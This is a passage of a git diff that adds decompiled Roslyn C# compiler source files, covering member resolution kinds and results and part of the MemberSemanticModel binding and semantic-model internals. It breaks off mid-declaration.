b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MemberResolutionKind.cs new file mode 100644 index 0000000..0d52355 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MemberResolutionKind.cs @@ -0,0 +1,29 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum MemberResolutionKind : byte +{ + None, + ApplicableInNormalForm, + ApplicableInExpandedForm, + InaccessibleTypeArgument, + NoCorrespondingParameter, + NoCorrespondingNamedParameter, + DuplicateNamedArgument, + RequiredParameterMissing, + NameUsedForPositional, + BadNonTrailingNamedArgument, + UseSiteError, + UnsupportedMetadata, + BadArgumentConversion, + TypeInferenceFailed, + TypeInferenceExtensionInstanceArgument, + ConstructedParameterFailedConstraintCheck, + ConstraintFailure, + StaticInstanceMismatch, + WrongCallingConvention, + WrongRefKind, + WrongReturnType, + LessDerived, + Worse, + Worst +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MemberResolutionResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MemberResolutionResult.cs new file mode 100644 index 0000000..a6f5893 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MemberResolutionResult.cs @@ -0,0 +1,65 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct MemberResolutionResult where TMember : Symbol +{ + private readonly TMember _member; + + private readonly TMember _leastOverriddenMember; + + private readonly MemberAnalysisResult _result; + + internal readonly bool HasTypeArgumentInferredFromFunctionType; + + internal bool IsNull => (object)_member == null; + + internal bool IsNotNull => (object)_member != null; + + public TMember Member => _member; + + internal TMember LeastOverriddenMember => _leastOverriddenMember; + + public MemberResolutionKind Resolution => Result.Kind; + + public bool IsValid => Result.IsValid; + + public bool IsApplicable => Result.IsApplicable; + + internal bool HasUseSiteDiagnosticToReport => _result.HasUseSiteDiagnosticToReportFor(_member); + + internal MemberAnalysisResult Result => _result; + + internal MemberResolutionResult(TMember member, TMember leastOverriddenMember, MemberAnalysisResult result, bool hasTypeArgumentInferredFromFunctionType) + { + _member = member; + _leastOverriddenMember = leastOverriddenMember; + _result = result; + HasTypeArgumentInferredFromFunctionType = hasTypeArgumentInferredFromFunctionType; + } + + internal MemberResolutionResult WithResult(MemberAnalysisResult result) + { + return new MemberResolutionResult(Member, LeastOverriddenMember, result, HasTypeArgumentInferredFromFunctionType); + } + + internal MemberResolutionResult Worse() + { + return WithResult(MemberAnalysisResult.Worse()); + } + + internal MemberResolutionResult Worst() + { + return WithResult(MemberAnalysisResult.Worst()); + } + + public override bool Equals(object? obj) + { + throw new NotSupportedException(); + } + + public override int GetHashCode() + { + throw new NotSupportedException(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MemberSemanticModel.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MemberSemanticModel.cs new file mode 100644 index 0000000..7d96ffa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MemberSemanticModel.cs @@ -0,0 +1,2195 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.Operations; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class MemberSemanticModel : CSharpSemanticModel +{ + internal class IncrementalBinder : Binder + { + private readonly MemberSemanticModel _semanticModel; + + internal IncrementalBinder(MemberSemanticModel semanticModel, Binder next) + : base(next) + { + _semanticModel = semanticModel; + } + + internal override Binder GetBinder(SyntaxNode node) + { + Binder binder = base.Next.GetBinder(node); + if (binder != null) + { + return new IncrementalBinder(_semanticModel, binder.WithAdditionalFlags(BinderFlags.SemanticModel)); + } + return null; + } + + public override BoundStatement BindStatement(StatementSyntax node, BindingDiagnosticBag diagnostics) + { + if (node.SyntaxTree == _semanticModel.SyntaxTree) + { + BoundStatement boundStatement = _semanticModel.GuardedGetSynthesizedStatementFromMap(node); + if (boundStatement != null) + { + return boundStatement; + } + BoundNode boundNode = TryGetBoundNodeFromMap(node); + if (boundNode != null) + { + return (BoundStatement)boundNode; + } + } + BoundStatement boundStatement2 = base.BindStatement(node, diagnostics); + if (boundStatement2.WasCompilerGenerated && node.SyntaxTree == _semanticModel.SyntaxTree) + { + _semanticModel.GuardedAddSynthesizedStatementToMap(node, boundStatement2); + } + return boundStatement2; + } + + internal override BoundBlock BindEmbeddedBlock(BlockSyntax node, BindingDiagnosticBag diagnostics) + { + BoundBlock boundBlock = (BoundBlock)TryGetBoundNodeFromMap(node); + if (boundBlock != null) + { + return boundBlock; + } + return base.BindEmbeddedBlock(node, diagnostics); + } + + private BoundNode TryGetBoundNodeFromMap(CSharpSyntaxNode node) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + if (node.SyntaxTree == _semanticModel.SyntaxTree) + { + OneOrMany val = _semanticModel.GuardedGetBoundNodesFromMap(node); + if (!val.IsEmpty) + { + return val[0]; + } + } + return null; + } + + public override BoundNode BindMethodBody(CSharpSyntaxNode node, BindingDiagnosticBag diagnostics) + { + BoundNode boundNode = TryGetBoundNodeFromMap(node); + if (boundNode != null) + { + return boundNode; + } + return base.BindMethodBody(node, diagnostics); + } + + internal override BoundExpressionStatement BindConstructorInitializer(ConstructorInitializerSyntax node, BindingDiagnosticBag diagnostics) + { + return ((BoundExpressionStatement)TryGetBoundNodeFromMap(node)) ?? base.BindConstructorInitializer(node, diagnostics); + } + + internal override BoundExpressionStatement BindConstructorInitializer(PrimaryConstructorBaseTypeSyntax node, BindingDiagnosticBag diagnostics) + { + return ((BoundExpressionStatement)TryGetBoundNodeFromMap(node)) ?? base.BindConstructorInitializer(node, diagnostics); + } + + internal override BoundBlock BindExpressionBodyAsBlock(ArrowExpressionClauseSyntax node, BindingDiagnosticBag diagnostics) + { + BoundBlock boundBlock = (BoundBlock)TryGetBoundNodeFromMap(node); + if (boundBlock != null) + { + return boundBlock; + } + return base.BindExpressionBodyAsBlock(node, diagnostics); + } + } + + internal sealed class MemberSemanticBindingCounter + { + internal int BindCount; + } + + protected sealed class NodeMapBuilder : BoundTreeWalkerWithStackGuard + { + private readonly OrderPreservingMultiDictionary _map; + + private readonly SyntaxTree _tree; + + private readonly SyntaxNode _thisSyntaxNodeOnly; + + private NodeMapBuilder(OrderPreservingMultiDictionary map, SyntaxTree tree, SyntaxNode thisSyntaxNodeOnly) + { + _map = map; + _tree = tree; + _thisSyntaxNodeOnly = thisSyntaxNodeOnly; + } + + public static void AddToMap(BoundNode root, Dictionary> map, SyntaxTree tree, SyntaxNode node = null) + { + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + if (root == null || map.ContainsKey(root.Syntax)) + { + return; + } + OrderPreservingMultiDictionary instance = OrderPreservingMultiDictionary.GetInstance(); + new NodeMapBuilder(instance, tree, node).Visit(root); + foreach (CSharpSyntaxNode key in instance.Keys) + { + if (!map.ContainsKey((SyntaxNode)(object)key)) + { + map[(SyntaxNode)(object)key] = instance.GetAsOneOrMany((SyntaxNode)(object)key); + } + } + instance.Free(); + } + + public override BoundNode Visit(BoundNode node) + { + if (node == null || node.SyntaxTree != _tree) + { + return null; + } + BoundNode boundNode = node; + if (node.Kind == BoundKind.UnboundLambda) + { + boundNode = ((UnboundLambda)node).BindForErrorRecovery(); + } + if (ShouldAddNode(boundNode)) + { + _map.Add(boundNode.Syntax, boundNode); + } + if (boundNode is BoundBinaryOperator boundBinaryOperator) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, boundBinaryOperator.Right); + boundNode = boundBinaryOperator.Left; + for (BoundBinaryOperator boundBinaryOperator2 = boundNode as BoundBinaryOperator; boundBinaryOperator2 != null; boundBinaryOperator2 = boundNode as BoundBinaryOperator) + { + if (ShouldAddNode(boundBinaryOperator2)) + { + _map.Add(boundBinaryOperator2.Syntax, (BoundNode)boundBinaryOperator2); + } + ArrayBuilderExtensions.Push(instance, boundBinaryOperator2.Right); + boundNode = boundBinaryOperator2.Left; + } + Visit(boundNode); + while (instance.Count > 0) + { + Visit(ArrayBuilderExtensions.Pop(instance)); + } + instance.Free(); + } + else + { + base.Visit(boundNode); + } + return null; + } + + private bool ShouldAddNode(BoundNode currentBoundNode) + { + if (currentBoundNode.WasCompilerGenerated) + { + return false; + } + if (_thisSyntaxNodeOnly != null && currentBoundNode.Syntax != _thisSyntaxNodeOnly) + { + return false; + } + return true; + } + + public override BoundNode VisitQueryClause(BoundQueryClause node) + { + Visit(node.Value); + VisitUnoptimizedForm(node); + return null; + } + + public override BoundNode VisitRangeVariable(BoundRangeVariable node) + { + return null; + } + + public override BoundNode VisitAwaitableInfo(BoundAwaitableInfo node) + { + return null; + } + + public override BoundNode VisitConstructorMethodBody(BoundConstructorMethodBody node) + { + if (node.Syntax != node.Initializer?.Syntax) + { + Visit(node.Initializer); + } + Visit(node.BlockBody); + Visit(node.ExpressionBody); + return null; + } + + public override BoundNode VisitBinaryOperator(BoundBinaryOperator node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/MemberSemanticModel.NodeMapBuilder.cs", 286); + } + + protected override bool ConvertInsufficientExecutionStackExceptionToCancelledByStackGuardException() + { + return false; + } + } + + internal sealed class SpeculativeMemberSemanticModel : MemberSemanticModel + { + public SpeculativeMemberSemanticModel(PublicSemanticModel containingPublicSemanticModel, Symbol owner, TypeSyntax root, Binder rootBinder, ImmutableDictionary parentRemappedSymbolsOpt) + : base(root, owner, rootBinder, containingPublicSemanticModel, parentRemappedSymbolsOpt) + { + } + + protected override NullableWalker.SnapshotManager GetSnapshotManager() + { + return ((SpeculativeSemanticModelWithMemberModel)_containingPublicSemanticModel).ParentSnapshotManagerOpt; + } + + protected override BoundNode RewriteNullableBoundNodesWithSnapshots(BoundNode boundRoot, Binder binder, DiagnosticBag diagnostics, bool createSnapshots, out NullableWalker.SnapshotManager snapshotManager, ref ImmutableDictionary remappedSymbols) + { + return NullableWalker.AnalyzeAndRewrite(Compilation, base.MemberSymbol as MethodSymbol, boundRoot, binder, null, diagnostics, createSnapshots: false, out snapshotManager, ref remappedSymbols); + } + + protected override void AnalyzeBoundNodeNullability(BoundNode boundRoot, Binder binder, DiagnosticBag diagnostics, bool createSnapshots) + { + NullableWalker.AnalyzeWithoutRewrite(Compilation, base.MemberSymbol as MethodSymbol, boundRoot, binder, diagnostics, createSnapshots); + } + + protected override bool IsNullableAnalysisEnabled() + { + return ((SyntaxTreeSemanticModel)_containingPublicSemanticModel.ParentModel).IsNullableAnalysisEnabledAtSpeculativePosition(((SemanticModel)_containingPublicSemanticModel).OriginalPositionForSpeculation, (SyntaxNode)(object)Root); + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, ConstructorInitializerSyntax constructorInitializer, out PublicSemanticModel speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/MemberSemanticModel.SpeculativeMemberSemanticModel.cs", 67); + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, PrimaryConstructorBaseTypeSyntax constructorInitializer, out PublicSemanticModel speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/MemberSemanticModel.SpeculativeMemberSemanticModel.cs", 72); + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, EqualsValueClauseSyntax initializer, out PublicSemanticModel speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/MemberSemanticModel.SpeculativeMemberSemanticModel.cs", 77); + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, ArrowExpressionClauseSyntax expressionBody, out PublicSemanticModel speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/MemberSemanticModel.SpeculativeMemberSemanticModel.cs", 82); + } + + internal override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, StatementSyntax statement, out PublicSemanticModel speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/MemberSemanticModel.SpeculativeMemberSemanticModel.cs", 87); + } + + internal override bool TryGetSpeculativeSemanticModelForMethodBodyCore(SyntaxTreeSemanticModel parentModel, int position, BaseMethodDeclarationSyntax method, out PublicSemanticModel speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/MemberSemanticModel.SpeculativeMemberSemanticModel.cs", 92); + } + + internal override bool TryGetSpeculativeSemanticModelForMethodBodyCore(SyntaxTreeSemanticModel parentModel, int position, AccessorDeclarationSyntax accessor, out PublicSemanticModel speculativeModel) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/MemberSemanticModel.SpeculativeMemberSemanticModel.cs", 97); + } + } + + private readonly Symbol _memberSymbol; + + private readonly CSharpSyntaxNode _root; + + private readonly ReaderWriterLockSlim _nodeMapLock = new ReaderWriterLockSlim(LockRecursionPolicy.NoRecursion); + + private readonly Dictionary> _guardedBoundNodeMap = new Dictionary>(); + + private readonly Dictionary _guardedIOperationNodeMap = new Dictionary(); + + private Dictionary _lazyGuardedSynthesizedStatementsMap; + + private NullableWalker.SnapshotManager _lazySnapshotManager; + + private ImmutableDictionary _lazyRemappedSymbols; + + private readonly ImmutableDictionary _parentRemappedSymbolsOpt; + + internal readonly Binder RootBinder; + + private readonly PublicSemanticModel _containingPublicSemanticModel; + + private readonly Lazy _operationFactory; + + public override CSharpCompilation Compilation => _containingPublicSemanticModel.Compilation; + + internal override CSharpSyntaxNode Root => _root; + + internal Symbol MemberSymbol => _memberSymbol; + + public sealed override bool IsSpeculativeSemanticModel => ((SemanticModel)_containingPublicSemanticModel).IsSpeculativeSemanticModel; + + public sealed override bool IgnoresAccessibility => ((SemanticModel)_containingPublicSemanticModel).IgnoresAccessibility; + + public sealed override int OriginalPositionForSpeculation + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/MemberSemanticModel.cs", 113); + } + } + + public sealed override CSharpSemanticModel ParentModel + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/MemberSemanticModel.cs", 123); + } + } + + internal sealed override SemanticModel ContainingPublicModelOrSelf => (SemanticModel)(object)_containingPublicSemanticModel; + + public override SyntaxTree SyntaxTree => _root.SyntaxTree; + + protected MemberSemanticModel(CSharpSyntaxNode root, Symbol memberSymbol, Binder rootBinder, PublicSemanticModel containingPublicSemanticModel, ImmutableDictionary parentRemappedSymbolsOpt) + { + _root = root; + _memberSymbol = memberSymbol; + _containingPublicSemanticModel = containingPublicSemanticModel; + _parentRemappedSymbolsOpt = parentRemappedSymbolsOpt; + RootBinder = rootBinder.WithAdditionalFlags(GetSemanticModelBinderFlags()); + _operationFactory = new Lazy(() => new CSharpOperationFactory((SemanticModel)(object)this)); + } + + internal override MemberSemanticModel GetMemberModel(SyntaxNode node) + { + if (!IsInTree(node)) + { + return null; + } + return this; + } + + protected virtual NullableWalker.SnapshotManager GetSnapshotManager() + { + EnsureNullabilityAnalysisPerformedIfNecessary(); + return _lazySnapshotManager; + } + + internal ImmutableDictionary GetRemappedSymbols() + { + EnsureNullabilityAnalysisPerformedIfNecessary(); + return _lazyRemappedSymbols; + } + + internal sealed override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, TypeSyntax type, SpeculativeBindingOption bindingOption, out PublicSemanticModel speculativeModel) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + ExpressionSyntax standaloneExpression = SyntaxFactory.GetStandaloneExpression(type); + Binder speculativeBinder = GetSpeculativeBinder(position, standaloneExpression, bindingOption); + if (speculativeBinder != null) + { + speculativeModel = new SpeculativeSemanticModelWithMemberModel(parentModel, position, _memberSymbol, type, speculativeBinder, GetRemappedSymbols(), GetSnapshotManager()); + return true; + } + speculativeModel = null; + return false; + } + + internal sealed override bool TryGetSpeculativeSemanticModelCore(SyntaxTreeSemanticModel parentModel, int position, CrefSyntax crefSyntax, out PublicSemanticModel speculativeModel) + { + speculativeModel = null; + return false; + } + + internal override BoundExpression GetSpeculativelyBoundExpression(int position, ExpressionSyntax expression, SpeculativeBindingOption bindingOption, out Binder binder, out ImmutableArray crefSymbols) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if ((int)bindingOption == 0) + { + NullableWalker.SnapshotManager snapshotManager = GetSnapshotManager(); + if (snapshotManager != null) + { + crefSymbols = default(ImmutableArray); + position = CheckAndAdjustPosition(position); + expression = SyntaxFactory.GetStandaloneExpression(expression); + binder = GetSpeculativeBinder(position, expression, bindingOption); + BoundExpression node = binder.BindExpression(expression, BindingDiagnosticBag.Discarded); + ImmutableDictionary remappedSymbols = null; + NullableWalker.SnapshotManager newSnapshots; + return (BoundExpression)NullableWalker.AnalyzeAndRewriteSpeculation(position, node, binder, snapshotManager, out newSnapshots, ref remappedSymbols); + } + } + return GetSpeculativelyBoundExpressionWithoutNullability(position, expression, bindingOption, out binder, out crefSymbols); + } + + private Binder GetEnclosingBinderInternalWithinRoot(SyntaxNode node, int position) + { + return GetEnclosingBinderInternalWithinRoot(node, position, RootBinder, (SyntaxNode)(object)_root).WithAdditionalFlags(GetSemanticModelBinderFlags()); + } + + private static Binder GetEnclosingBinderInternalWithinRoot(SyntaxNode node, int position, Binder rootBinder, SyntaxNode root) + { + //IL_02b9: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_0168: Unknown result type (might be due to invalid IL or missing references) + //IL_016f: Unknown result type (might be due to invalid IL or missing references) + //IL_0276: Unknown result type (might be due to invalid IL or missing references) + //IL_027d: Unknown result type (might be due to invalid IL or missing references) + if (node == root) + { + return rootBinder.GetBinder(node) ?? rootBinder; + } + ExpressionSyntax expressionSyntax = null; + LocalFunctionStatementSyntax localFunctionStatementSyntax = null; + Binder binder = null; + SyntaxNode val = node; + while (binder == null) + { + StatementSyntax statementSyntax = val as StatementSyntax; + SyntaxKind syntaxKind = val.Kind(); + if (statementSyntax != null) + { + if (LookupPosition.IsInStatementScope(position, statementSyntax)) + { + binder = rootBinder.GetBinder(val); + if (binder != null) + { + binder = AdjustBinderForPositionWithinStatement(position, binder, statementSyntax); + } + else if (syntaxKind == SyntaxKind.LocalFunctionStatement) + { + LocalFunctionStatementSyntax localFunctionStatementSyntax2 = (LocalFunctionStatementSyntax)statementSyntax; + if (LookupPosition.IsInLocalFunctionTypeParameterScope(position, localFunctionStatementSyntax2)) + { + localFunctionStatementSyntax = localFunctionStatementSyntax2; + } + } + } + } + else + { + switch (syntaxKind) + { + case SyntaxKind.CatchClause: + if (LookupPosition.IsInCatchBlockScope(position, (CatchClauseSyntax)(object)val)) + { + binder = rootBinder.GetBinder(val); + } + break; + case SyntaxKind.CatchFilterClause: + if (LookupPosition.IsInCatchFilterScope(position, (CatchFilterClauseSyntax)(object)val)) + { + binder = rootBinder.GetBinder(val); + } + break; + default: + { + if (val.IsAnonymousFunction()) + { + if (LookupPosition.IsInAnonymousFunctionOrQuery(position, val)) + { + binder = rootBinder.GetBinder((SyntaxNode)(object)val.AnonymousFunctionBody()); + } + break; + } + TypeOfExpressionSyntax typeOfExpressionSyntax; + if (syntaxKind == SyntaxKind.TypeOfExpression && expressionSyntax == null && LookupPosition.IsBetweenTokens(position, (typeOfExpressionSyntax = (TypeOfExpressionSyntax)(object)val).OpenParenToken, typeOfExpressionSyntax.CloseParenToken)) + { + expressionSyntax = typeOfExpressionSyntax.Type; + break; + } + switch (syntaxKind) + { + case SyntaxKind.SwitchSection: + if (LookupPosition.IsInSwitchSectionScope(position, (SwitchSectionSyntax)(object)val)) + { + binder = rootBinder.GetBinder(val); + } + break; + case SyntaxKind.ArgumentList: + { + ArgumentListSyntax argumentListSyntax = (ArgumentListSyntax)(object)val; + if (LookupPosition.IsBetweenTokens(position, argumentListSyntax.OpenParenToken, argumentListSyntax.CloseParenToken)) + { + binder = rootBinder.GetBinder(val); + } + break; + } + case SyntaxKind.EqualsValueClause: + binder = rootBinder.GetBinder(val); + break; + case SyntaxKind.Attribute: + binder = rootBinder.GetBinder(val); + break; + case SyntaxKind.ArrowExpressionClause: + binder = rootBinder.GetBinder(val); + break; + case SyntaxKind.BaseConstructorInitializer: + case SyntaxKind.ThisConstructorInitializer: + case SyntaxKind.PrimaryConstructorBaseType: + binder = rootBinder.GetBinder(val); + break; + case SyntaxKind.ConstructorDeclaration: + binder = rootBinder.GetBinder(val); + break; + case SyntaxKind.SwitchExpression: + binder = rootBinder.GetBinder(val); + break; + case SyntaxKind.SwitchExpressionArm: + binder = rootBinder.GetBinder(val); + break; + default: + if ((val as ExpressionSyntax).IsValidScopeDesignator()) + { + binder = rootBinder.GetBinder(val); + } + else if (val is InvocationExpressionSyntax node2 && node2.MayBeNameofOperator()) + { + binder = rootBinder.GetBinder(val); + } + else if (val is CheckedExpressionSyntax checkedExpressionSyntax && LookupPosition.IsBetweenTokens(position, checkedExpressionSyntax.OpenParenToken, checkedExpressionSyntax.CloseParenToken)) + { + binder = rootBinder.GetBinder(val); + } + break; + } + break; + } + } + } + if (val == root) + { + break; + } + val = val.ParentOrStructuredTriviaParent; + } + binder = binder ?? rootBinder.GetBinder(root) ?? rootBinder; + if (localFunctionStatementSyntax != null) + { + LocalFunctionSymbol declaredLocalFunction = GetDeclaredLocalFunction(binder, localFunctionStatementSyntax.Identifier); + if ((object)declaredLocalFunction != null) + { + binder = declaredLocalFunction.WithTypeParametersBinder; + } + } + if (expressionSyntax != null) + { + binder = new TypeofBinder(expressionSyntax, binder); + } + return binder; + } + + private static Binder AdjustBinderForPositionWithinStatement(int position, Binder binder, StatementSyntax stmt) + { + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Unknown result type (might be due to invalid IL or missing references) + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + switch (stmt.Kind()) + { + case SyntaxKind.SwitchStatement: + { + SwitchStatementSyntax switchStatementSyntax = (SwitchStatementSyntax)stmt; + if (LookupPosition.IsBetweenTokens(position, switchStatementSyntax.SwitchKeyword, switchStatementSyntax.OpenBraceToken)) + { + binder = binder.GetBinder((SyntaxNode)(object)switchStatementSyntax.Expression); + } + break; + } + case SyntaxKind.ForStatement: + { + ForStatementSyntax forStatementSyntax = (ForStatementSyntax)stmt; + if (LookupPosition.IsBetweenTokens(position, forStatementSyntax.SecondSemicolonToken, forStatementSyntax.CloseParenToken) && forStatementSyntax.Incrementors.Count > 0) + { + binder = binder.GetBinder((SyntaxNode)(object)forStatementSyntax.Incrementors.First()); + } + else if (LookupPosition.IsBetweenTokens(position, forStatementSyntax.FirstSemicolonToken, LookupPosition.GetFirstExcludedToken(forStatementSyntax)) && forStatementSyntax.Condition != null) + { + binder = binder.GetBinder((SyntaxNode)(object)forStatementSyntax.Condition); + } + break; + } + case SyntaxKind.ForEachStatement: + case SyntaxKind.ForEachVariableStatement: + { + CommonForEachStatementSyntax commonForEachStatementSyntax = (CommonForEachStatementSyntax)stmt; + SyntaxToken firstIncluded = ((stmt.Kind() == SyntaxKind.ForEachVariableStatement) ? commonForEachStatementSyntax.InKeyword : commonForEachStatementSyntax.OpenParenToken); + if (LookupPosition.IsBetweenTokens(position, firstIncluded, commonForEachStatementSyntax.Statement.GetFirstToken())) + { + binder = binder.GetBinder((SyntaxNode)(object)commonForEachStatementSyntax.Expression); + } + break; + } + } + return binder; + } + + public override Conversion ClassifyConversion(ExpressionSyntax expression, ITypeSymbol destination, bool isExplicitInSource = false) + { + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + if (destination == null) + { + throw new ArgumentNullException("destination"); + } + TypeSymbol destination2 = destination.EnsureCSharpSymbolOrNull("destination"); + if (expression.Kind() == SyntaxKind.DeclarationExpression) + { + return Conversion.NoConversion; + } + if (((SyntaxNode)(object)expression).IsAnonymousFunction()) + { + CheckSyntaxNode(expression); + return ClassifyConversion(((SyntaxNode)expression).SpanStart, expression, destination, isExplicitInSource); + } + if (isExplicitInSource) + { + return ClassifyConversionForCast(expression, destination2); + } + CheckSyntaxNode(expression); + Binder enclosingBinderInternal = GetEnclosingBinderInternal(expression, GetAdjustedNodePosition((SyntaxNode)(object)expression)); + CSharpSyntaxNode bindableSyntaxNode = GetBindableSyntaxNode(expression); + BoundExpression boundExpression = GetLowerBoundNode(bindableSyntaxNode) as BoundExpression; + if (enclosingBinderInternal == null || boundExpression == null) + { + return Conversion.NoConversion; + } + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return enclosingBinderInternal.Conversions.ClassifyConversionFromExpression(boundExpression, destination2, enclosingBinderInternal.CheckOverflowAtRuntime, ref useSiteInfo); + } + + internal override Conversion ClassifyConversionForCast(ExpressionSyntax expression, TypeSymbol destination) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(expression); + if ((object)destination == null) + { + throw new ArgumentNullException("destination"); + } + Binder enclosingBinderInternal = GetEnclosingBinderInternal(expression, GetAdjustedNodePosition((SyntaxNode)(object)expression)); + CSharpSyntaxNode bindableSyntaxNode = GetBindableSyntaxNode(expression); + BoundExpression boundExpression = GetLowerBoundNode(bindableSyntaxNode) as BoundExpression; + if (enclosingBinderInternal == null || boundExpression == null) + { + return Conversion.NoConversion; + } + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return enclosingBinderInternal.Conversions.ClassifyConversionFromExpression(boundExpression, destination, enclosingBinderInternal.CheckOverflowAtRuntime, ref useSiteInfo, forCast: true); + } + + internal virtual BoundNode GetBoundRoot() + { + return GetUpperBoundNode(GetBindableSyntaxNode(Root)); + } + + internal BoundNode GetUpperBoundNode(CSharpSyntaxNode node, bool promoteToBindable = false) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + if (promoteToBindable) + { + node = GetBindableSyntaxNode(node); + } + OneOrMany boundNodes = GetBoundNodes(node); + if (boundNodes.Count == 0) + { + return null; + } + return boundNodes[0]; + } + + internal BoundNode GetLowerBoundNode(CSharpSyntaxNode node) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + OneOrMany boundNodes = GetBoundNodes(node); + if (boundNodes.Count == 0) + { + return null; + } + return GetLowerBoundNode(boundNodes); + } + + private static BoundNode GetLowerBoundNode(OneOrMany boundNodes) + { + return boundNodes[boundNodes.Count - 1]; + } + + public sealed override ImmutableArray GetSyntaxDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)) + { + throw new NotSupportedException(); + } + + public sealed override ImmutableArray GetDeclarationDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)) + { + throw new NotSupportedException(); + } + + public sealed override ImmutableArray GetMethodBodyDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)) + { + throw new NotSupportedException(); + } + + public sealed override ImmutableArray GetDiagnostics(TextSpan? span = null, CancellationToken cancellationToken = default(CancellationToken)) + { + throw new NotSupportedException(); + } + + public override INamespaceSymbol GetDeclaredSymbol(NamespaceDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override INamespaceSymbol GetDeclaredSymbol(FileScopedNamespaceDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override INamedTypeSymbol GetDeclaredSymbol(BaseTypeDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override INamedTypeSymbol GetDeclaredSymbol(DelegateDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override IFieldSymbol GetDeclaredSymbol(EnumMemberDeclarationSyntax declarationSyntax, CancellationToken cancellationToken 